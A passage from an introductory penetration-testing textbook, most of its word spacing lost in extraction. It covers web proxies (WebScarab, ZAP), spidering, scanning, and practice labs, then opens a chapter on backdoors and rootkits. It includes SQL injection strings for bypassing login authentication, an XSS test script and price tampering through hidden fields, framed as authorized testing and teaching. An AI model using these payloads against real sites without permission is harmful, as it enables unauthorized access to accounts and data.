readytobeginspideringyourtarget.YoubeginbyenteringthetargetURLintothe browser. Assume we wanted to see all of the files and directories on theTrustedSecwebsite.Simplybrowsingtothewww.trustedsec.comwebsiteusingyour Iceweasel browser will load the website through WebScarab. Once thewebsite has loaded in your browser, you can switch over the WebScarabprogram.YoushouldseetheURLyouentered(alongwithanyothers thatyou

have visited since starting your proxy). To spider the site, you right-click theURLandchoose“Spidertree”asshowninFigure6.8.

FIGURE6.8 Usingwebscarabtospiderthetargetwebsite.

You can nowview each of the files and folders associatedwith your targetwebsite. Individual folders can be further spidered by right clicking andchoosing“Spidertree”again.Youshouldspendtimecarefullyexaminingeverynook and crannywithin your authorized scope. Spidering awebsite is a greatwaytofindinadvertentlyorleakedconfidentialdatafromatargetwebsite.

InterceptingRequestswithWebscarabAspreviouslymentioned,WebScarab isaverypowerful tool.Oneof itsmanyrolesistofunctionasaproxyserver.Recallthataproxysitsbetweentheclient(browser)andtheserver.Whiletheproxyisrunning,allthewebtrafficflowinginto and out of your browser is passed through the program. Passing trafficthrough a local proxy provides us with an amazing ability; by runningWebScarabinthismode,weareabletostop,intercept,andevenchangethedataeither before it arrives or after it leaves the browser. This is a subtle butimportant point; the use of a proxy allows us tomake changes to the data intransit.TheabilitytomanipulateorviewHTTPrequestorresponseinformationhasserioussecurityimplications.Considerthefollowing:somepoorlycodedwebsitesrelyontheuseofhidden

fields to transmit information to and from the client. In these instances, theprogrammermakesuseofahiddenfieldontheform,assumingthattheuserwillnot be able to access it. Although this assumption is true for a normal user,anyoneleveragingthepowerofaproxyserverwillhavetheabilitytoaccessand

modifythehiddenfield.Theclassicexampleofthisscenarioistheuserwhowasshoppingatanonline

golfstore.Afterbrowsingtheselection,hedecidedtobuyagolfclubfor$299.Beingasecurityanalyst,theastuteshopperwasrunningaproxyandnoticedthatthewebsitewasusingahiddenfieldtopassthevalueofthedriver($299)totheserverwhenthe“addtocart”buttonwasclicked.TheshoppersetuphisproxytointercepttheHTTPPOSTrequest.Thismeanswhentheinformationwassentto the server, itwas stopped at the proxy.The shopper nowhad the ability tochange the value of the hidden field.Aftermanually changing the value from$299 to $1, the requestwas sent onto the server.The driverwas added to hisshoppingcartandthenewtotalduewas$1.Although this scenario is not as common as it used to be, it certainly

demonstratesthepowerofusingaproxytointerceptandinspectHTTPrequestsandresponses.TouseWebScarab as an interceptor, youneed to configureyourbrowser to

useaproxyandstartWebScarabasdiscussedinthe“Spidering”sectionofthischapter. Youwill also need to configureWebScarab to use the “lite” version.Youcanswitchbacktothe“lite”versionbystartingtheprogram,clickingonthe“Tools” menu option and checking the “Use Lite interface” option. OnceWebScarabhasfinishedloading,youwillneedtoclickonthe“Interceptstab”.Next,youshouldputacheckboxinboththe“Interceptrequests”and“Interceptresponses”asshowninFigure6.9.

FIGURE6.9 Settingupwebscarabtointerceptrequestsandresponses.

Atthispoint,youcanuseIceweaseltobrowsethroughyourtargetwebsite.

ALERT!Just a word of warning—you may want to leave the Interceptrequestsand Intercept responsesuncheckeduntilyouare ready totest, as nearly every page involves these actions and interceptingeverything before you are ready will make your browsingexperiencepainfullyslow.

With WebScarab set up as described, the proxy will stop nearly everytransaction and allow you to inspect or change the data. Luckily if you findyourself in this situation,WebScarab has included a “Cancel ALL Intercepts”button.Thiscanbehandytokeepmovingforward.To change the values of a given field, wait forWebScarab to intercept the

request; then locate the variable you wish to change. At this point, you cansimply enter a new value in the “value” field and click the “Insert” button toupdatethefieldwiththenewvalue.Viewing HTTP response and requests can also be useful for discovering

usernameandpasswordinformation.Justremember,thevalueinmanyofthesefieldswillbeBase64encoded.Althoughthesevaluesmaylookasthoughtheyare encrypted, you should understand that Base64 is a form of encoding notencryption. Although these processes may sound similar, they are vastlydifferent.DecodingBase64isatrivialtaskthatcanbeaccomplishedwithlittleeffortusingaprogramoranonlinetool.Itshouldbepointedout that therearemanygoodproxyserversavailable to

assistyouwith the taskofdata interception.Donotbeafraid toexploreotherproxyserversaswell.

CodeInjectionAttacksLikebufferoverflowsinsystemcode,injectionattackshavebeenaseriousissuein the web world for many years, and like buffer overflows, there are manydifferent kinds of code injection attacks.Broadly defined, this class of attacks

couldeasilyfillachapter.However,becausewearefocusingonthebasics,wewillexaminethemostbasictypeofcodeinjection:theclassicSQLinjection.WewillexplorethebasiccommandsneededtorunanSQLinjectionandhowitcanbeusedtobypassbasicwebapplicationauthentication.Injectionattackscanbeusedforavarietyofpurposesincludingbypassingauthentication,manipulatingdata,viewingsensitivedata,andevenexecutingcommandsontheremotehost.Most modern web applications rely on the use of interpreted programming

languagesandback-enddatabasestostoreinformationandgeneratedynamicallydriven content to the user. There are many popular interpreted programminglanguages in use today including PHP, JavaScript, Active Server Pages, SQL,Python, andcountlessothers.An interpreted languagediffers froma compiledlanguagebecausetheinterpretedlanguagegeneratesmachinecodejustbeforeitis executed. Compiled programming languages require the programmer tocompile the source code and generate an executable (.exe) file. In this case,once the program is compiled, the source code cannot be changed unless it isrecompiledandthenewexecutableisredistributed.In the case of modern web applications, like an e-commerce site, the

interpreted language works by building a series of executable statements thatutilizeboththeoriginalprogrammer’sworkandinputfromtheuser.Consideranonlineshopperwhowantstopurchasemorerandomaccessmemory(RAM)forhis computer. The user navigates to his favorite online retailer and enters theterm“16GBRAM”in thesearchbox.After theuserclicks thesearchbutton,thewebappgatherstheuser’sinput(“16GBRAM”)andconstructsaquerytosearch the back-end database for any rows in the product table containing“16 GB RAM.” Any products that contain the keywords “16 GB RAM” arecollectedfromthedatabaseandreturnedtotheuser’sbrowser.Understandingwhataninterpretedlanguageisandhowitworksisthekeyto

understanding injection attacks.Knowing that user inputwill often be used tobuild code that is executed on the target system, injection attacks focus onsubmitting, sending, and manipulating user-driven input. The goal of sendingmanipulatedinputorqueriestoatargetistogetthetargettoexecuteunintendedcommandsorreturnunintendedinformationbacktotheattacker.The classic example of an injection attack is SQL injection. SQL is a

programming language that is used to interact with and manipulate data in adatabase.UsingSQL,ausercanread,write,modify,anddeletedatastoredinthedatabasetables.Recallfromourexampleabovethat theusersuppliedasearchstring“16GBRAM” to thewebapplication (ane-commercewebsite). In this

case, the web application generated an SQL statement based off of the userinput.It is important that youunderstand there aremanydifferent flavors ofSQL

and different vendors may use different verbs to perform the same actions.Specific statements thatwork inOraclemaynotwork inMySQLorMSSQL.Theinformationcontainedbelowwillprovideabasicandgenericframeworkforinteractingwithmostapplications thatuseSQL,butyoushouldstrive to learnthespecificelementsforyourtarget.Consider another example. Assume that our network admin Ben Owned is

searchingforaChristmaspresentforhisboss.Wantingtomakeupformanyofhispastmistakes,Bendecidestobrowsehisfavoriteonlineretailertosearchforanew laptop.Tosearch thesite for laptops,Benenters thekeywords“laptop”(minusthequotes)intoasearchbox.ThiscausesthewebapplicationtobuildanSQL query looking for any rows in the product table that include the word“laptop”.SQLqueriesareamong themostcommonactionsperformedbywebapplicationsas theyareused to search tables and returnmatching results.ThefollowingisanexampleofasimpleSQLquery:

SELECT∗FROMproductWHEREcategory=‘laptop’;

Inthestatementabove,the“SELECT”verbisusedtotellSQLthatyouwishto search and return results from a table. The “∗” is used as a wildcard andinstructsSQLtoreturneverycolumnfromthetablewhenamatchisfound.The“FROM”keywordisusedtotellSQLwhichtabletosearch.The“FROM”verbis followed immediately by the actual name of the table (“product” in thisexample).Finally, the“WHERE”clause isused tosetupa testcondition.Thetestconditionisusedtorestrictorspecifywhichrowsaretobereturnedbacktotheuser. In this case, theSELECTstatementwill return all the rows from theproducttablethatcontaintheword“laptop”inthe“category”column.It is important to remember that in real life,most SQL statements youwill

encounteraremuchmorecomplexthanthisexample.Oftentimes,anSQLquerywill interact with several columns from several different tables in the samequery. However, armed with this basic SQL knowledge, let us examine thisstatement a little more closely. We should be able to clearly see that in ourexample, the user created the value to the right of the “=” sign, whereas theoriginal programmer created everything to the left of the “=” sign. We cancombine this knowledge with a little bit of SQL syntax to produce someunexpected results. The programmer built an SQL statement that was alreadyfullyconstructedexcept for the stringvalue tobeused in theWHEREclause.

The application acceptswhatever the user types into the “search” textbox andappendsthatstringvaluetotheendofthealreadycreatedSQLstatement.Last,afinalsinglequoteisappendedontotheSQLstatementtobalancethequotes.Itlookslikethiswhenitisalldone:

SELECT∗FROMproductWHEREcategory=‘laptop’

Inthiscase,SELECT∗FROMproductWHEREcategory=‘iscreatedaheadoftimebytheprogrammer,whilethewordlaptopisuser-suppliedandthefinal’isappendedbytheapplicationtobalancequotes.Alsonotice thatwhentheactualSQLstatementwasbuilt, it includedsingle

quotesaroundtheword“laptop”.SQLaddsthesebecause“category”isastringdatatypeinthedatabase.Theymustalwaysbebalanced,thatis,theremustbean even number of quotes in the statement, so an SQL syntax error does notoccur.FailuretohavebothanopeningandaclosingquotewillcausetheSQLstatementtoerrorandfail.Supposethatratherthansimplyenteringthekeyword,laptop,Benenteredthe

followingintothesearchbox:‘laptop’or1=1--

Inthiscase,thefollowingSQLstatementwouldbebuiltandexecuted:SELECT∗FROMproductWHEREcategory=‘laptop’or1=1--’

Byaddingtheextraquote,Benwouldcloseoffthestringcontainingtheuser-suppliedwordof ‘laptop’andadd someadditional code tobeexecutedby theSQLserver,namely

or1=1--

The“or”statementabove isanSQLcondition that isused to return recordswheneitherstatementistrue.The“--”isaprogrammaticcomment.InmostSQLversions, everything that follows the “--” is simply ignored by the interpreter.Thefinalsinglequoteisstillappendedbytheapplication,butitisignored.Thisisaveryhandytrickforbypassingadditionalcodethatcouldinterferewithyourinjection.Inthiscase,thenewSQLstatementissaying“returnalloftherecordsfrom the product tablewhere the category is ‘laptop’ or 1 = 1”. It should beobvious that 1 = 1 is always true. Because this is a true statement, SQLwillactuallyreturnalltherecordsintheproducttable!The key to understanding how to use SQL injections is to understand the

subtletiesinhowthestatementsareconstructed.On the whole, the example above may not seem too exciting; instead of

returningalltherowscontainingthekeywordlaptop,wewereabletoreturnthewhole table. However, if we apply this type of attack to a slightly differentexample,youmayfindtheresultsabitmoresensational.

ManywebapplicationsuseSQLtoperformauthentication.Yougainaccesstorestricted or confidential locations and material by entering a username andpassword.Asinthepreviousexample,oftentimesthisinformationisconstructedfrom a combination of user-supplied input, the username and password, andprogrammer-constructedstatements.Considerthefollowingexample.ThenetworkadminBenOwnedhascreated

anewwebsitethatisusedtodistributeconfidentialdocumentstothecompany’skeystrategicpartners.Partnersaregivenauniqueusernameandpasswordtologintothewebsiteanddownloadmaterial.Aftersettinguphissecurewebsite,Benasksyoutoperformapenetrationtestagainstthesitetoseeifyoucanbypasshisauthentication.Youshouldstartthistaskbyusingthesametechniqueweexaminedtoreturn

all the data in the “products” table. Remember the “--” is a commonway ofcommentingoutanycodefollowingthe“--”.Asaresult,insomeinstances,itispossibletosimplyenterausernamefollowedbythe“--”sequence.Ifinterpretedcorrectly, this can cause the SQL statement to simply bypass or ignore thesectionofcodethatchecksforapasswordandgivesyouaccesstothespecifieduser.However,thistechniquewillonlyworkifyoualreadyknowtheusername.Ifyoudonotknowtheusername,youshouldbeginbyenteringthefollowing

intotheusernametextbox:‘or’1=1--

Leaving the username parameter blank and using an expression that willalwaysevaluatetotrueisakeywaytoattackasystemwhenweareunsureofthe usernames required to log into a database. Not entering a username willcause most databases to simply grab the first user in the database. In manyinstances,thefirstuseraccountinadatabaseisanadministrativeaccount.Youcan enterwhatever youwant for a password (for example, “syngress”), as thedatabasewill not even check it because it is commented out.You do need tosupply a password to bypass client-side authentication (or you can use yourinterceptingproxytodeletethisparameteraltogether).

SELECT ∗ FROM users WHERE uname = “or 1 = 1-- and

pwd=‘syngress’”

Atthispoint,youshouldeitherhaveausernameorbepreparedtoaccessthedatabasewith the first user listed in thedatabase. Ifyouhaveausername,weneedtoattackthepasswordfield;hereagainwecanenterthestatement:

‘or’1=1--

Becauseweareusingan“or”statement,regardlessofwhatisenteredbeforethefirstsinglequote,thestatementwillalwaysevaluatetotrue.Uponexamining

thisstatement,theinterpreterwillseethatthepasswordistrueandgrantaccesstothespecifieduser.Iftheusernameparameterisleftblank,buttherestofthestatement is executed, you will be given access to the first user listed in thedatabase.Inthisinstance,assumingwehaveausername,thenewSQLstatementwould

looksimilartothefollowing:SELECT∗FROMusersWHEREuname=‘admin’andpwd=‘’or1=1-

-

Inmanyinstances,thesimpleinjectionabovewillgrantyoufullaccesstothedatabaseasthefirstuserlistedinthe“users”table.Inallfairness,itshouldbepointedoutthatitisbecominghardertofindSQL

injection errors and bypass authentication using the techniques listed above.Injection attacks are nowmuchmore difficult to locate.However, this classicexamplestillrearsitsheadonoccasion,especiallywithcustom-builtapps,anditalsoservesasanexcellentstartingpointforlearningaboutanddiscoveringthemoreadvancedinjectionattacks.

Cross-SiteScripting:BrowsersthatTrustSitesXSSistheprocessofinjectingscriptsintoawebapplication.Theinjectedscriptcanbe storedon theoriginalwebpage and runorprocessedby eachbrowserthat visits the web page. This process happens as if the injected script wasactuallypartoftheoriginalcode.XSSisdifferentfrommanyothertypesofattacksasXSSfocusesonattacking

theclient,nottheserver.Althoughthemaliciousscriptitselfisstoredonthewebapplication (server), the actual goal is to get a client (browser) to execute thescriptandperformanaction.Asasecuritymeasure,webapplicationsonlyhaveaccesstothedatathatthey

writeandstoreonaclient.Thismeansanyinformationstoredonyourmachinefromonewebsite cannot be accessedby anotherwebsite.XSScanbeused tobypassthisrestriction.Whenanattackerisabletoembedascriptintoatrustedwebsite,thevictim’sbrowserwillassumeallthecontentincludingthemaliciousscriptisgenuineandthereforeshouldbetrusted.Becausethescriptisactingonbehalfofthetrustedwebsite,themaliciousscriptwillhavetheabilitytoaccesspotentially sensitive information stored on the client including session tokensandcookies.It is important to point out that the end result or damage caused by a

successfulXSSattackcanvarywidely. Insome instances, theeffect isamere

annoyance like a persistent pop-up window, whereas other more seriousconsequences can result in the complete compromise of the target. AlthoughmanypeopleinitiallyrejecttheseriousnessofXSS,askilledattackercanusetheattack tohijack sessions, gain access to restricted content storedby awebsite,executecommandsonthetarget,andevenrecordkeystrokes!You should understand that there are numerous XSS attack vectors. Aside

from simply entering code snippets into an input box,malicious hyperlinks orscripts can also be embedded directly intowebsites, e-mails, and even instantmessages. Many e-mail clients today automatically render HTML e-mail.Oftentimes, themaliciousportionofamaliciousURLwillbeobfuscatedinanattempttoappearmorelegitimate.Initssimplestform,conductingaXSSattackonawebapplicationthatdoes

notperforminputsanitizationiseasy.Whenweareonlyinterestedinprovidingproofthatthesystemisvulnerable,wecanusesomebasicJavaScripttotestforthepresenceofXSS.Websiteinputboxesareanexcellentplacetostart.Ratherthan entering expected information into a textbox, a penetration tester shouldattempttoenter thescript tagfollowedbyaJavaScript“alert”directlyintothefield.Theclassicexampleofthistestislistedbelow:

<script>alert(“XSSTest”)</script>

Iftheabovecodeisenteredandtheserverisvulnerable,aJavaScript“alert”pop-upwindowwill be generated. Figure6.10 shows an example of a typicalwebpagewheretheusercanloginbyenteringausernameandpasswordintothetextboxesprovided.

FIGURE6.10 Exampleofinputboxesonatypicalwebpage.

However,aspreviouslydescribed,ratherthanenteringanormalusernameandpassword, enter the test script. Figure6.11 shows an example of the testXSSbeforesubmitting.

FIGURE6.11 XSStestcode.

After entering our test script, we are ready to click the “Submit” button.RememberifthetestissuccessfulandthewebapplicationisvulnerabletoXSS,aJavaScript“alert”windowwiththemessage“XSSTest”shouldappearontheclientmachine.Figure6.12showstheresultofourtest,providingproofthattheapplicationisvulnerabletoXSS.

FIGURE6.12 XSSsuccess!.

Just as there are several attack vectors for launching XSS, the attack itselfcomesinseveralvarieties.Becausewearecoveringthebasics,wewill lookattwoexamples:reflectedXSSandstoredXSS.Reflected cross-site scripts occur when a malicious script is sent from the

client machine to a vulnerable server. The vulnerable server then bounces orreflects the script back to the user. In these cases, the payload (or script) isexecuted immediately.This process happens in a single response/request.ThistypeofXSSattackisalsoknownasa“First-OrderXSS”.ReflectedXSSattacksarenonpersistent.Thus, themaliciousURLmustbefed to theuserviae-mail,instantmessage, and soon, so theattackexecutes in theirbrowser.Thishasaphishingfeeltoitandrightfullyso.Insome instances, themaliciousscriptcanactuallybesaveddirectlyon the

vulnerableserver.Whenthishappens,theattackiscalledastoredXSS.Becausethe script is saved, it gets executed by every user who accesses the web

application.InthecaseofstoredXSSattacks, thepayloaditself(themaliciousscript ormalformedURL) is left behind andwill be executed at a later time.Theseattacksaretypicallysavedinadatabaseoranapplet.StoredXSSdoesnotneed the phishing aspect of reflected XSS. This helps the legitimacy of theattack.Asmentioned earlier, XSS is a very practical attack. Even thoughwe only

examined the simplest ofXSS attacks, donot let this deter you from learningaboutthetruepowerofXSS.Inordertotrulymasterthiscontent,youwillneedto learn how to harness the power ofXSS attacks to steal sessions fromyourtargetanddelivertheotherpayloadsdiscussedearlierinthissection.Onceyouhave mastered both reflected and stored XSS attacks, you should beginexaminingandstudyingDocumentObjectModel-basedXSSattacks.

ZEDAttackProxy:BringingItAllTogetherUnderOneRoofWehavediscussedseveralframeworkstoassistwithyourwebhacking,howeverbeforeclosingthechapter,letusexamineonemore.Inthissection,wearegoingto cover the ZAP from theOWASP because it is a full-featuredweb hackingtoolkit thatprovidesthethreemainpiecesoffunctionalitythatwediscussedatthe beginning of this chapter: intercepting proxy, spidering, and vulnerabilityscanning.ZAPis100%freeandpreinstalledinKali.YoucanopenZAPintheKali menu by clicking on the all Applications → Kali Linux → WebApplications zaproxy. You can also start ZAP by typing the following on thecommandline:

zap

Before usingZAP, youwill need to configure your browser to use a proxy.Youcanreviewthisprocessbyvisitingthe“Spidering”sectionofthischapter.Please note youwill need to enter a port number of 8080 rather than8008 asshowninFigure6.13.

FIGURE6.13 ConfiguringtheiceweaselproxysettingstousetheZAP.

AfterconfiguringtheproxysettingsinyourbrowserandstartingZAP,asyoubrowse web pages using Iceweasel, the ZAP “Sites” tab will keep a runninghistory of the URL you visit. You can expand each URL to show additionaldirectoriesandpagesthatyouhaveeithervisiteddirectlyorhavebeenscrapedbyZAP.Figure6.14showswehavevisitedwww.dsu.edu,www.espn.com,andwww.google.comandacoupleofothers.

FIGURE6.14 The“sites”tabinZAPshowingvisitedwebsitesthathavepassedthroughtheproxy.

InterceptinginZAPTheabilitytointerceptandchangevariablesbeforetheyreachthewebsiteisoneof the first places you should start with web hacking. Because acceptingvariablesfromuser’srequestsisfundamentaltohowthewebworkstoday,itisimportant to check and see if the website is securely handling these inputvariables.A simpleway to think about this is to build requests that ask thesequestions:WhatwouldthewebsitedoifItriedtoorder−5(negative5)televisions?WhatwouldthewebsitedoifItriedtogeta$2000televisionfor$49?WhatwouldthewebsitedoifItriedtosigninwithoutevenprovidingausernameorpasswordvariable?(Notsupplyingblankusernameandpasswordvariables,butactuallynotevensendingthesetwovariablesthatthewebsiteissurelyexpecting.)

WhatwouldthewebsitedoifIusedacookie(sessionidentifier)fromadifferentuserthatisalreadycurrentlyloggedin?

Andanyothermischievousbehavioryoucanthinkof!The great thing is that you are in complete control of what is sent to the

website when you use a proxy to intercept the requests as they leave yourbrowser.YoucaninterceptinZAPbyusingthe“breakpoints”functionality.Youcansetbreakpointsonrequestsleavingyourbrowser,sotheapplicationreceivesavariablevalue thatwaschanged.Youcanalso setbreakpointson responsescoming back from the website, so you can change the response before it isrenderedinyourbrowser.Forthebasics,wewillusuallyonlyneedtosetbreakpointsontheoutboundrequests.SettingbreakpointsinZAPisdonebytoggling(on or off) the green arrows directly below the menu bar as shown inFigure6.15.

FIGURE6.15 SettingbreakpointsonalloutboundrequestsinZAP.

Theright-facinggreenarrowistosetabreakpointonalloutboundrequests,sotheywillbeinterceptedandavailabletobeedited;aspreviouslymentioned,thisisthemostcommonuseofbreakpoints.Itislesscommontointerceptthe

returning response from the website. However, when you want to interceptreturningresponses,youcantoggletheleft-facinggreenarrow.Onceyouhavethebreakpointsset,thearrowwillturnredandtherequestthatisleavingyourbrowserwillbedisplayedintheleftpaneofZAPasshowninFigure6.16.

FIGURE6.16 Aninterceptedrequestheadedtogoogle.comwherethe“search”variableisavailabletobeedited.

Obviously just changing the search termof thisGoogle search fornewgolfclubsisnotmalicious(youcansimplytypeinanewvalue!),butthisdoesshowhow easy any variable can be manipulated. Imagine if this was a bankingwebsiteandyouweretryingtochangetheaccountnumbertotransfermoneytoandfrom!

SpideringinZAPOneofthemostbeneficialaspectsoffindingallavailablepagesbyspideringisthatwewillhavealargerattacksurfacetoexplore.Thelargerourattacksurfaceis, the more likely an automated web vulnerability scanner can locate anexploitableissue.SpideringinZAPisveryeasy.ItbeginsbyfindingtheURL,oraspecificdirectorywithinthatURL,thatyouwouldliketospider.Thisisagood time to remindyou thatyou shouldnot spiderawebsite thatyoudonotown or do not have authorization to perform spidering on. Once you haveidentified your targeted URL or directory in the “Sites” tab, you can simplyright-clickonittobringupthe“Attack”ZAPmenuasshowninFigure6.17.

FIGURE6.17 OpeningtheattackmenuinZAP.

Noticethatbothscanningandspideringareavailableinthis“Attack”menu.Itis really that easy;you just find theURLordirectory (or evenpage) that youwould like toattackand instructZAP todo its thing!Onceyouselect“Spidersite” from the“Attack”menu, thespider tabwilldisplay thediscoveredpagescompletewithastatusbartoshowtheprogressofthespidertool.

ScanninginZAPOncethespiderhascompleteditswork,thenextstepistohavethevulnerabilityscanner inZAPfurtherprobetheselectedwebsiteforknownvulnerabilities.Awebscanner isvery similar toNessus that is loadedwith signaturesofknownvulnerabilities, so the scanner results areonlyasgoodas the signatures that itincludes.By selecting “Active Scan site” in the “Attack” menu, ZAP will send

hundreds of requests to the selected website. As the website sends backresponses, ZAP will analyze them for signs of vulnerabilities. This is animportant aspect of web scanning to understand: the scanner is not trying toexploit the website, but rather send hundreds of proof-of-concept maliciousrequests to the website and then analyze these responses for signs ofvulnerability. Once an exact page is identified to be plagued by an exactvulnerability(SQLinjectiononaloginpage,forexample),youcanthenusetheinterceptingproxytocraftamaliciousrequesttothatexactpagewiththeexactmaliciousvariablevaluesinordertocompletethehack!ZAPalsohaspassivescanningfunctionality,whichdoesnotsendhundredsof

proof-of-conceptrequests,butinsteadsimplyanalyzeseveryresponsethatyourbrowserreceivesduringnormalbrowsingfor thesamevulnerabilitiesasactivescanning. This means you can browse like you normally do and reviewthewebsiteforvulnerabilitieswithoutraisinganysuspicionfromrapidrequestslikeactivescanning.

Allthescanningresultswillbehousedinthe“Alerts”tabforeasyreview.Thefull reportofZAPScanner’s findingscanbeexportedasHTMLorExtensibleMarkupLanguageviathe“Reports”menu.

HowDoIPracticeThisStep?Asmentionedat thebeginningof thischapter, it is important thatyou learn tomasterthebasicsofwebexploitation.However,findingvulnerablewebsitesonwhichyouareauthorizedtoconduct theseattackscanbedifficult.Fortunately,thefinefolksattheOWASPorganizationhavedevelopedavulnerableplatformfor learningandpracticingweb-basedattacks.Thisproject,calledWebGoat, isanintentionallymisconfiguredandvulnerablewebserver.WebGoatwasbuiltusingJ2EE,whichmeansitiscapableofrunningonany

system that has the Java Runtime Environment installed. WebGoat includesmorethan30individuallessonsthatprovidearealistic,scenario-drivenlearningenvironment.Currentlessonsincludealltheattackswedescribedinthischapterandmanymore.MostlessonsrequireyoutoperformacertainattacklikeusingSQLinjectiontobypassauthentication.Eachlessoncomescompletewithhintsthatwillhelpyousolvethepuzzle.Aswithotherscenario-drivenexercises,itisimportanttoworkhardandattempttofindtheansweronyourownbeforeusingthehelpfiles.Ifyouaremakinguseofvirtualmachinesinyourhackinglab,youwillneed

to download and install WebGoat inside a virtual machine. As discussedpreviously,WebGoatwillrunineitherLinuxorWindows,justbesuretoinstallJava(JRE)onyoursystempriortostartingWebGoat.WebGoat can be downloaded from the official OWASP website at

http://www.owasp.org/. The file you downloadwill require 7zip or a programcapableofunzippinga7zfile.UnzipthefileandrememberthelocationoftheuncompressedWebGoat folder. Ifyouare runningWebGoatonWindows,youcannavigatetotheunzippedWebGoatfolderandlocatethe“webgoat_8080.bat”file.Executethisbatchfilebydoubleclickingit.Aterminalwindowwillappear;youwillneed to leave thiswindowopenandrunning inorder forWebGoat tofunctionproperly.Atthispoint,assumingthatyouareaccessingWebGoatfromthesamemachineyouarerunningtheWebGoatserveron,youcanbeginusingWebGoat by opening a browser and entering the URLhttp://127.0.0.1:8080/webgoat/attack.Ifeverythingwentproperly,youwillbepresentedwithaloginprompt.Both

theusernameandpasswordaresetto:guest.Asa finalnote,pleasepayattention to thewarningsposted in the“readme”

file.Specificallyyoushouldunderstandthat runningWebGoatoutsideofa labenvironment is extremely dangerous, as your system will be vulnerable toattacks. Always use caution and only run WebGoat in a properly sandboxedenvironment.YoucanalsodownloadandinstallDamnVulnerableWebApp(DVWA)from

http://www.dvwa.co.uk/. DVWA is another intentionally insecure applicationthatutilizesPHPandMySQLtoprovideyouwithatestingenvironment.

WhereDoIGofromHere?Ashasbeenpointedoutseveraltimes,thereislittledoubtthatthisattackvectorwillcontinuetogrow.Onceyouhavemasteredthebasicswediscussedin thissection,youshouldexpandyourknowledgebydigginginandlearningsomeofthe more advanced topics of web application hacking including client-sideattacks,sessionmanagement,sourcecodeauditing,andmanymore. Ifyouareunsure of what else to study and want to keep up on the latest web-attackhappenings,keepaneyeontheOWASP“topten”.TheOWASPTopTenProjectisanofficiallistofthetopwebthreatsasdefinedbyleadingsecurityresearchersandtopexperts.If you are interested in learning more about web hacking, check out the

Syngress Book titled The Basics of Web Hacking: Tools and Techniques toAttacktheWebbyDrJoshPauli.Itisanexcellentreadandwillpickupnicelywherethischapterleftoff.

AdditionalResourcesWhen it comes to web security, it is hard to beat OWASP. As previouslymentioned,agoodplacetostartistheOWASPTopTenProject.Youcanfindthelist at http://www.owasp.orgwebsite or by searchingGoogle for “OWASP topten”.Youshouldkeepacloseeyeonthislist,asitwillcontinuetobeupdatedandchangedasthetrends,risks,andthreatsevolve.ItshouldbepointedoutthattheWebSecurifytoolwediscussedearlierinthe

chapter iscapableofautomatically testingforall threatcategories listed in theOWASPTopTenProjects!SincewearetalkingaboutOWASPandtheyhavegraciouslyprovidedyoua

fantastic tool to learn about and testweb application security, there aremanybenefitsofjoiningtheOWASPorganization.Onceyouareamember,thereareseveraldifferentwaystogetinvolvedwiththevariousprojectsandcontinuetoexpandyourknowledgeofwebsecurity.Along with the great WebScarab project, you should explore other web

proxiesaswell.Both theBurpProxyandParosProxyareexcellent (and free)toolsforinterceptingrequests,modifyingdata,andspideringwebsites.Finally, there are several great tools that every goodweb penetration tester

shouldbecomefamiliarwith.OneofmycolleaguesandclosefriendsisaveryskilledwebapppenetrationtesterandheswearsupanddownthatBurpSuiteisthe best application testing tool available today. After reviewing many webauditing tools, it isclear thatBurp is indeedagreat tool.Afreeversionof theBurp Suite is built into Kali and can be found by clicking on theApplications → Kali Linux → Web Applications → Web ApplicationProxies→BurpSuite.IfyouarenotusingKali,thefreeversionofBurpcanbedownloadedfromthe

company’swebsiteathttp://portswigger.net/burp/download.html.

SummaryBecause theweb isbecomingmoreandmore“executable”andbecausenearlyeverytargethasawebpresence,thischapterexaminedweb-basedexploitation.The chapter began with an overview of the basics of web attacks and byreviewingtechniquesandtoolsfor interrogatingwebservers.TheuseofNiktoand w3af was covered for locating specific vulnerabilities in a web server.Exploring the target website by discovering directories and files wasdemonstrated through the use of a spider. A method for intercepting websiterequests by usingWebScarabwas also covered.Code injection attacks,whichconstitute a serious threat to web security, were explored. Specifically, weexamined the basics of SQL injection attacks. The chapter thenmoved into abriefdiscussionandexampleofXSS.Finally,ZAPwascoveredasasingletoolforconductingwebscanningandattacking.

CHAPTER7

PostExploitationandMaintainingAccesswithBackdoors,Rootkits,andMeterpreter

InformationinThisChapter:

Netcat:TheSwissArmyKnifeCryptcat:Netcat’sCrypticCousinRootkitsHackerDefender:ItisNotWhatYouThinkDetectingandDefendingAgainstRootkitsMeterpreter:TheHammerthatTurnsEverythingintoaNail

IntroductionMaintaining access to a remote system is a serious activity that needs to bediscussedandclearlyexplainedtotheclient.Manycompaniesareinterestedinhaving a penetration test performed but are leery of allowing the penetration

testing company tomake use of backdoors.Most people are afraid that thesebackdoors will be discovered and exploited by an unauthorized third party.Imaginethatyouarethechiefexecutiveofficerofacompany,howwellwouldyou sleep knowing that you may have an open, backdoor channel into yournetwork?Remember,theclientsetsboththescopeandtheauthorizationofthepenetration test.Youwill need to take the time to fully cover anddiscuss thisstepbeforeproceeding.Still, on occasion youmay be asked to conduct a penetration test that does

require the use of a backdoor. Whether the reason is to provide a proof ofconceptorsimplytocreatearealisticscenariowheretheattackercanreturntothetarget, it is important tocover thebasics in thisstep.Remember,persistentreusable backdoors on systems are a malicious attacker’s best friend. Severalyears ago, attackerswere contentwith quick “smash and grab” jobs. In otherwords,theywouldexploitaserver,stealthedata,andleave.Thereisacrediblepileofevidencetodaythatsuggestsmanymodernattackersaremoreinterestedinlongtermandevenpermanentaccesstothetargetsystemsandnetworks.Sounderstandingthisphaseisimportantifyouaregoingtosimulatetheactionsofadeterminedandskilledblackhat.In the simplest sense, a backdoor is a piece of software that resides on the

targetcomputerandallowstheattackertoreturn(connect)tothemachineatanytime. In most cases, the backdoor is a hidden process that runs on the targetmachine and allows a normally unauthorized user to control the personalcomputer(PC).It is important tounderstand thatmanyexploitsare fleeting.Theyworkand

provideaccessonlyaslongastheprogramthatwasexploitedremainsrunning.Oftentimes,whenthetargetmachinerebootsortheexploitedprocessisstopped,theoriginalshell(remoteaccess)willbelost.Asaresultofthis,oneofthefirsttaskstocompleteupongainingaccesstoasystemistomigrateyourshell toamorepermanenthome.Thisisoftendonethroughtheuseofbackdoors.Later in the chapter,wewill discuss rootkits.Rootkits are a special kindof

software that embed themselvesdeep into theoperating systemandperformanumberoftasks,includinggivingahackertheabilitytocompletehideprocessesandprograms.Attheendofthechapter,wewillwrapthingsupbyreviewingoneofthemost

popular and powerful exploitation payloads available in Metasploit, theMeterpretershell.UtilizingandunderstandinghowtoleverageMeterpreterisapowerfultoolforpostexploitation.

